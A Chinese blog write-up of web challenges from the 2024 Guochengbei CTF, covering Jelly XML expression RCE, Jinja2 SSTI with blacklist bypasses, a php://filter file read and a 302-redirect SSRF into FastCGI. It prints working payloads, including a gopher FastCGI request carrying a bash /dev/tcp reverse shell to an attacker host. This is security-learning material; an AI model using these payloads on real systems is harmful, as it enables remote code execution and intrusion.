国城杯初赛2024-WEB复现

前言

好久没打比赛了,网鼎杯虽然寄了,但是学到的东西还是有很多。这次随便注册了个号看了看,题目还是不错的,于是复现一手。

临近期末周了,这算是我这学期倒数第二次写CTF的wp了吧,最后一次还有个考前的软件安全国赛的初赛打打,然后就是一堆考试(晕

Easy Jelly

看到这个题目当时想到的就是最近的一个Jelly漏洞:CVE-2024-4879的SSTI模板注入。

但是这个题其实不是这样的。而且这道题还可以直接XXE打非预期。。。

官方文档:https://commons.apache.org/proper/commons-jelly/

这里官方wp给出的解释就是Jelly XML引擎解析导致的漏洞,在过滤了一些常见的Jelly标签的情况下仍然可以使用Jexl表达式实现RCE。

源码也很简单,直接想办法vps上放个反弹shell的xml然后传参uri就可以了:

由于可以直接vps上放xml,所以他这个黑名单其实是形同虚设(没懂为啥要黑名单):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private static Boolean check(String uri) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(uri);
int tag1 = doc.getElementsByTagNameNS("*", "expr").getLength();
int tag2 = doc.getElementsByTagNameNS("*", "import").getLength();
int tag3 = doc.getElementsByTagNameNS("*", "include").getLength();
int tag4 = doc.getElementsByTagNameNS("*", "invoke").getLength();
int tag5 = doc.getElementsByTagNameNS("*", "invokeStatic").getLength();
int tag6 = doc.getElementsByTagNameNS("*", "new").getLength();
int tag7 = doc.getElementsByTagNameNS("*", "parse").getLength();
int tag8 = doc.getElementsByTagNameNS("*", "set").getLength();
int tag9 = doc.getElementsByTagNameNS("*", "setProperties").getLength();
int tag10 = doc.getElementsByTagNameNS("*", "out").getLength();
int tag11 = doc.getElementsByTagNameNS("*", "useBean").getLength();
return tag1 <= 0 && tag2 <= 0 && tag3 <= 0 && tag4 <= 0 && tag5 <= 0 && tag6 <= 0 && tag7 <= 0 && tag8 <= 0 && tag9 <= 0 && tag10 <= 0 && tag11 <= 0 ? true : false;
}

直接打payload就可以了(用的本地docker,官方靶机太鸡肋了,打半天打不通,还以为不出网):

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str"
className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<j:break test="${str
.class
.forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(&quot; RCE-Command&quot;)')}"></j:break>
</j:jelly>

或者:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str"
className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<j:whitespace>${str
.class
.forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(&quot; RCE-Command&quot;)')}</j:whitespace>
</j:jelly>

Jelly在执行Jexl表达式上非常灵活,可以在官方文档中看到expr标签的value属性是允许计算Jexl表达式的:

image-20241209233354352

其执行逻辑位于org.apache.commons.jelly.tags.core.ExprTag#doTag方法:

image-20241209233447390

如果你去翻看CoreTagLibrary类,会发现out标签的同样会到org.apache.commons.jelly.tags.core.ExprTag#doTag方法下处理

image-20241209233629735

官方给了个思路,可以跟一跟:

image-20241209233711981

弱密码admin/123456,验证码纯数字,如果要识别验证码爆密码可以安bp的插件,不过多说了。

然后进去有个读文件的路由,显然可以任意文件读取,/proc/self/cmdline是可以看到app.py的位置的,然后直接读/app/app.py获得源码。

其他的没啥好看的,主要是这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def shell_view(request):
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)

expression = request.GET.get('shellcmd', '')
blacklist_patterns = [r'.*length.*',r'.*count.*',r'.*[0-9].*',r'.*\..*',r'.*soft.*',r'.*%.*']
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result != None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')

一眼SSTI,但ban了数字和点号才是最伤的,很多命令给ban了,写内存马也不好写。

但是方法总比困难多,这里不写我那个烂方法了,又长又难看。。。而且这里没回显,也在考虑SSTI盲注的思路。

官方wp给出的是钩子函数的解法:

这里尝试内存马,但是添加路由的config 变量是局部变量,所以考虑其他和 config 无关的钩子函数,参考:https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html

image-20241209234209849

利用 request.add_response_callback 钩子函数进行回显,构造:

1
{{cycler.__init__.__globals__.__builtins__['exec']("request.add_response_callback(lambda request, response: setattr(response,'text', __import__('os').popen('whoami').read()))",{'request': request})}}

getattr绕一下点号:

1
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request': request})}}

image-20241209234305873

还可以用回显头的方法:

1
{{cycler['__init__']['__globals__']['__builtins__']['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}

image-20241209234341609

而且赛后群里还有师傅给出一种方法:

1
{{lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('simple_server')|attr('ServerHandler'),'server_so'+'ftware',lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('/readflag')['read']())}}

只是这种方法也需要打盲注,后续不多说了。这里的lipsum可以关注一下,用法很多,也适用于很多奇技淫巧。

signal

从302跳转到Fastcgi的SSRF。

但是平台靶机上不了外网,太傻逼了。

dirsearch能扫到index.php.swp文件,vim -r读一下获得guest登录账号密码。

然后登录进去能得到一个文件读取路由,直接读只有个假flag。猜测读真flag还得拿shell提权。

读文件这里用到的是二次URL编码,二次URL编码能够利用filter读取到admin.php的源码:

1
php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

这里其实filter-chain非预期直接可以打了,可以看看网上其他人的wp。

image-20241212193455018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content';
}
curl_close($ch);
}
}
?>
<!DOCTYPE html>
<html lang='en'>
<head>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1.0'>
<title>Welcome</title>
<style>
body {
margin: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background: linear-gradient(135deg, #6dd5ed, #2193b0);
font-family: Arial, sans-serif;
overflow: hidden;
position: relative;
}

body::before, body::after {
content: '';
position: absolute;
width: 400px;
height: 400px;
border-radius: 50%;
background: rgba(255, 255, 255, 0.1);
animation: float 6s ease-in-out infinite;
z-index: 0;
}

body::before {
top: -100px;
right: -150px;
}

body::after {
bottom: -150px;
left: -100px;
}

@keyframes float {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(20px); }
}

.login-container {
position: relative;
z-index: 1;
width: 350px;
padding: 2rem;
background-color: #ffffff;
border-radius: 12px;
text-align: center;
box-shadow: 0px 4px 20px rgba(0, 0, 0, 0.2);
backdrop-filter: blur(10px);
transition: transform 0.3s ease;
}

.login-container:hover {
transform: translateY(-5px);
}

.login-container h2 {
margin-bottom: 1.5rem;
color: #333;
font-weight: bold;
}

.login-container input[type='text'] {
width: 100%;
padding: 0.75rem;
margin: 0.5rem 0;
border: 1px solid #ddd;
border-radius: 5px;
box-sizing: border-box;
font-size: 1rem;
outline: none;
transition: border-color 0.3s ease;
}

.login-container input[type='text']:focus {
border-color: #4CAF50;
box-shadow: 0px 0px 5px rgba(76, 175, 80, 0.5);
}

.login-container button {
width: 100%;
padding: 0.75rem;
margin-top: 1rem;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 5px;
font-size: 1rem;
cursor: pointer;
transition: background-color 0.3s, transform 0.3s;
position: relative;
overflow: hidden;
}

.login-container button:hover {
background-color: #45a049;
transform: translateY(-3px);
}

.login-container button:active {
transform: translateY(1px);
}

.login-container p {
margin-top: 1rem;
color: #666;
font-size: 0.9rem;
}

.error {
color: red;
margin-top: 0.5rem;
text-align: center;
font-size: 0.9rem;
}

.content {
margin-top: 1rem;
padding: 1rem;
background-color: #f9f9f9;
border: 1px solid #ddd;
border-radius: 5px;
word-wrap: break-word;
max-height: 200px;
overflow-y: auto;
}
</style>
</head>
<body>

<div class='login-container'>
<h2>Welcome</h2>
<p>网页查看,just do it😎</p>
<form method='post' action=''>
<input type='text' name='url' placeholder='Enter URL' required>
<button type='submit'>Submit</button>
<?php if (!empty($error_message)) : ?>
<div class='error'><?= htmlspecialchars($error_message) ?></div>
<?php endif; ?>
</form>
<?php if (!empty($page_content)) : ?>
<div class='content'>
<?= nl2br(htmlspecialchars($page_content)); ?>
</div>
<?php endif; ?>
</div>
</body>
</html>

发现能打302的SSRF,然而不知道密码账号,登录页面有个StoredAccounts.php,读一下拿到admin的账密了,登入。

但是我自己的域名起flask跳转打fastcgi打不进去,靶机不出网,也不知道出题人咋想的,就让人用filter-chain非预期呗。。。

官方给的用gopherus造个payload打fastcgi-SSRF反弹shell:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/port%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)

if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)

详情和其他题多解可看:

【Web】2024“国城杯”网络安全挑战大赛题解-CSDN博客

剩下那道反序列化打session和phar,不打算做了,也没心情复现。

准备期末了。下播一阵子。


国城杯初赛2024-WEB复现
https://eddiemurphy89.github.io/2024/12/09/国城杯初赛2024-WEB复现/
作者
EddieMurphy
发布于
2024年12月9日
许可协议